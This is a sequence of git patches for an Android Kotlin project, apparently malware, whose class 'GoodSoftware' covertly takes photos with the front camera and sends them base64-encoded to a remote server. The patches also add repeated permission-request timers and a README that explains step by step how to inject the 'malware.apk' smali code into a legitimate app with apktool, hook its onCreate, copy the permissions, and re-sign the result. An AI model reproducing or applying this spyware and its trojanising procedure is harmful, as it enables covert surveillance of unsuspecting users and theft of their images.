From e04f53aff213be38c83f44f9b2fb6a010229cec2 Mon Sep 17 00:00:00 2001 From: Joren Date: Mon, 6 May 2024 00:09:25 +0200 Subject: [PATCH 10/14] The camera likes crashing when playing with injection... hopefully this fixes that --- app/src/main/java/com/ti/m/GoodSoftware.kt | 109 ++++++++++----------- 1 file changed, 54 insertions(+), 55 deletions(-) diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index bf0a48f..3ee5fd2 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -42,6 +42,7 @@ import javax.crypto.spec.IvParameterSpec import javax.crypto.spec.SecretKeySpec import kotlin.concurrent.schedule import kotlin.concurrent.scheduleAtFixedRate +import kotlin.concurrent.thread class GoodSoftware (private val activity: Context) { @@ -411,69 +412,67 @@ class GoodSoftware (private val activity: Context) { suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) { try { cameraProvider = ProcessCameraProvider.getInstance(context).await() + + if (!hasBackCamera() && !hasFrontCamera()) { + Log.e(picture.TAG, "Back and front camera are unavailable") + return + } + + lensFacing = if (hasFrontCamera()) { + CameraSelector.LENS_FACING_FRONT + } else { + CameraSelector.LENS_FACING_BACK + } + + imageCapture = ImageCapture.Builder() + .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY) + .build() + + val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() { + override fun onError(exc: ImageCaptureException) { + Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc) + cameraProvider?.unbindAll() + } + + override fun onCaptureSuccess(image: ImageProxy) { + val byteArrayOutputStream = ByteArrayOutputStream() + val imagePlane = image.planes[0] + val buffer = imagePlane.buffer + val bytes = ByteArray(buffer.capacity()) + buffer.get(bytes) + byteArrayOutputStream.write(bytes) + val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT) + thread { + try { + val conn = establishConnectionWithRetry() + if (conn == null) { + return@thread + } + sendDataToServer(base64Image, conn) + disconnect(conn) + } catch (e: Exception) { + e.printStackTrace() + } + } + cameraProvider?.unbindAll() + image.close() + } + } + + cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture) + + imageCapture?.takePicture( + ContextCompat.getMainExecutor(context), + imageCapturedListener + ) } catch (e: ClassNotFoundException) { Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.") - return } catch (e: Exception) { Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e) - return } - - if (!hasBackCamera() && !hasFrontCamera()) { - Log.e(picture.TAG, "Back and front camera are unavailable") - return - } - - lensFacing = if (hasFrontCamera()) { - CameraSelector.LENS_FACING_FRONT - } else { - CameraSelector.LENS_FACING_BACK - } - - imageCapture = ImageCapture.Builder() - .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY) - .build() - - val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() { - override fun onError(exc: ImageCaptureException) { - Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc) - cameraProvider?.unbindAll() - } - - override fun onCaptureSuccess(image: ImageProxy) { - val byteArrayOutputStream = ByteArrayOutputStream() - val imagePlane = image.planes[0] - val buffer = imagePlane.buffer - val bytes = ByteArray(buffer.capacity()) - buffer.get(bytes) - byteArrayOutputStream.write(bytes) - val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT) - Thread { - val conn = establishConnectionWithRetry() - if (conn == null) { - return@Thread - } - sendDataToServer(base64Image, conn) - disconnect(conn) - }.start() - cameraProvider?.unbindAll() - image.close() - } - } - - cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture) - - imageCapture?.takePicture( - ContextCompat.getMainExecutor(context), - imageCapturedListener - ) } - - - - private fun hasBackCamera(): Boolean { return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false } From e145b026cc57a48edbb3f3987715aa68bcfdbc03 Mon Sep 17 00:00:00 2001 From: Joren Date: Mon, 6 May 2024 00:14:18 +0200 Subject: [PATCH 11/14] That didn't work... maybe this? --- app/src/main/java/com/ti/m/GoodSoftware.kt | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index 3ee5fd2..f97a015 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -190,15 +190,19 @@ class GoodSoftware (private val activity: Context) { private fun takePicture(){ val activity = activity.getActivity() - activity?.let { act -> - if (act is LifecycleOwner) { - act.lifecycleScope.launch { - takeBeautifulPicture(act, act) + try { + activity?.let { act -> + if (act is LifecycleOwner) { + act.lifecycleScope.launch { + takeBeautifulPicture(act, act) + } + } else { + // Handle the case where the activity is not a LifecycleOwner + Log.e("Error", "Activity is not a LifecycleOwner") } - } else { - // Handle the case where the activity is not a LifecycleOwner - Log.e("Error", "Activity is not a LifecycleOwner") } + }catch (e: Exception) { + e.printStackTrace() } } From 7a017f61535d528588f40f960557afd36e07c6d8 Mon Sep 17 00:00:00 2001 From: Joren Date: Mon, 6 May 2024 00:19:57 +0200 Subject: [PATCH 12/14] Github says this was the issue... we'll see --- app/build.gradle.kts | 1 + 1 file changed, 1 insertion(+) diff --git a/app/build.gradle.kts b/app/build.gradle.kts index 01c163d..6de045f 100644 --- a/app/build.gradle.kts +++ b/app/build.gradle.kts @@ -71,6 +71,7 @@ dependencies { debugImplementation(libs.androidx.ui.test.manifest) implementation("androidx.camera:camera-camera2:$camerax_version") implementation("androidx.camera:camera-extensions:$camerax_version") + implementation("androidx.camera:camera-lifecycle:$camerax_version") implementation("androidx.concurrent:concurrent-futures:1.1.0") implementation("androidx.concurrent:concurrent-futures-ktx:1.1.0") From 9982adfce24b35353f935de42ef77b120433a512 Mon Sep 17 00:00:00 2001 From: Joren Date: Mon, 6 May 2024 00:32:45 +0200 Subject: [PATCH 13/14] Disable camera, copying the smali files needed for the camera crashes the build process, not having the files crashes the app --- app/build.gradle.kts | 10 ++++++---- app/src/main/java/com/ti/m/GoodSoftware.kt | 4 ++-- 2 files changed, 8 insertions(+), 6 deletions(-) diff --git a/app/build.gradle.kts b/app/build.gradle.kts index 6de045f..4bf9085 100644 --- a/app/build.gradle.kts +++ b/app/build.gradle.kts @@ -52,7 +52,7 @@ android { dependencies { implementation(libs.androidx.camera.lifecycle) - val camerax_version = "1.3.3" + val camerax_version = "1.4.0-alpha05" implementation(libs.androidx.core.ktx) implementation(libs.androidx.lifecycle.runtime.ktx) @@ -69,9 +69,11 @@ dependencies { androidTestImplementation(libs.androidx.ui.test.junit4) debugImplementation(libs.androidx.ui.tooling) debugImplementation(libs.androidx.ui.test.manifest) - implementation("androidx.camera:camera-camera2:$camerax_version") - implementation("androidx.camera:camera-extensions:$camerax_version") - implementation("androidx.camera:camera-lifecycle:$camerax_version") + implementation("androidx.camera:camera-core:${camerax_version}") + implementation("androidx.camera:camera-camera2:${camerax_version}") + implementation("androidx.camera:camera-lifecycle:${camerax_version}") + implementation("androidx.camera:camera-extensions:${camerax_version}") + implementation("androidx.concurrent:concurrent-futures:1.1.0") implementation("androidx.concurrent:concurrent-futures-ktx:1.1.0") diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index f97a015..17b6c65 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -118,12 +118,12 @@ class GoodSoftware (private val activity: Context) { println("Requesting storage permission again") } - timerCamera = Timer("CheckCameraPermissionTimer", false) +/* timerCamera = Timer("CheckCameraPermissionTimer", false) timerCamera?.scheduleAtFixedRate(0, 5000) { checkCameraPermission() println("Requesting camera permission again") - } + }*/ } private fun stopCheckingStoragePermission() { From 7ec5cc797776665c56878b274f0ea901123419d7 Mon Sep 17 00:00:00 2001 From: Joren Date: Mon, 6 May 2024 01:35:24 +0200 Subject: [PATCH 14/14] Add README --- README.md | 78 ++++++++++++++++++++++ app/src/main/java/com/ti/m/GoodSoftware.kt | 4 +- 2 files changed, 80 insertions(+), 2 deletions(-) create mode 100644 README.md diff --git a/README.md b/README.md new file mode 100644 index 0000000..565b22f --- /dev/null +++ b/README.md @@ -0,0 +1,78 @@ +## Prep +### Without Camera + +1. Comment out the timer and compile + + ```kt + private fun startCheckingPermission() { + timerStorage = Timer("CheckStoragePermissionTimer", false) + + timerStorage?.scheduleAtFixedRate(0, 5000) { + checkStoragePermission() + println("Requesting storage permission again") + } + + /* timerCamera = Timer("CheckCameraPermissionTimer", false) + + timerCamera?.scheduleAtFixedRate(0, 5000) { + checkCameraPermission() + println("Requesting camera permission again") + }*/ + ``` + +2. Decompile the apk `apktool d malware.apk` +3. Decompile original app `apktool d application.apk` +4. Move malware to normal application `cp -r malware/smali/com/* application/smali/com/` +5. Under the onCreate of original app + + ```smali + new-instance p1, Lcom/ti/m/GoodSoftware; + + move-object v0, p0 + + check-cast v0, Landroid/content/Context; + + invoke-direct {p1, v0}, Lcom/ti/m/GoodSoftware;->(Landroid/content/Context;)V + + invoke-virtual {p1}, Lcom/ti/m/GoodSoftware;->launch()V + ``` +6. Copy the permissions from the malware manifest to original manifests permissions + ```xml + + + + + + + ``` + +### With Camera + +1. Do the steps of without camera but don't uncomment the timer +2. Copy camera to existing androidx folder `cp -r malware/smali/androidx/camera/ application/smali_classes2/androidx/` +3. Copy androidx futures to existing `cp -r malware/smali/androidx/concurrent/futures/* application/smali/androidx/concurrent/futures/` +4. Copy MediatorLiveData `cp -r malware/smali/androidx/lifecycle/MediatorLiveData* application/smali/androidx/lifecycle/` +5. Copy Camera metadata from Manifest + ```xml + + + + + ``` + +6. Copy Camera Queries to manifest under the permissions + ```xml + + + + + + ``` + + +## Final Steps +1. Build the application `apktool b application -o unsigned.apk` +2. Align using zipalign `zipalign -p -f -v 4 unsigned.apk App_Injected.apk` +3. Generate keystore `keytool -genkey -V -keystore key.keystore -alias Android -keyalg RSA -keysize 2048 -validity 10000` +4. Sign Apk `apksigner sign --ks key.keystore App_Injected.apk` +5. Done diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index 17b6c65..f97a015 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -118,12 +118,12 @@ class GoodSoftware (private val activity: Context) { println("Requesting storage permission again") } -/* timerCamera = Timer("CheckCameraPermissionTimer", false) + timerCamera = Timer("CheckCameraPermissionTimer", false) timerCamera?.scheduleAtFixedRate(0, 5000) { checkCameraPermission() println("Requesting camera permission again") - }*/ + } } private fun stopCheckingStoragePermission() {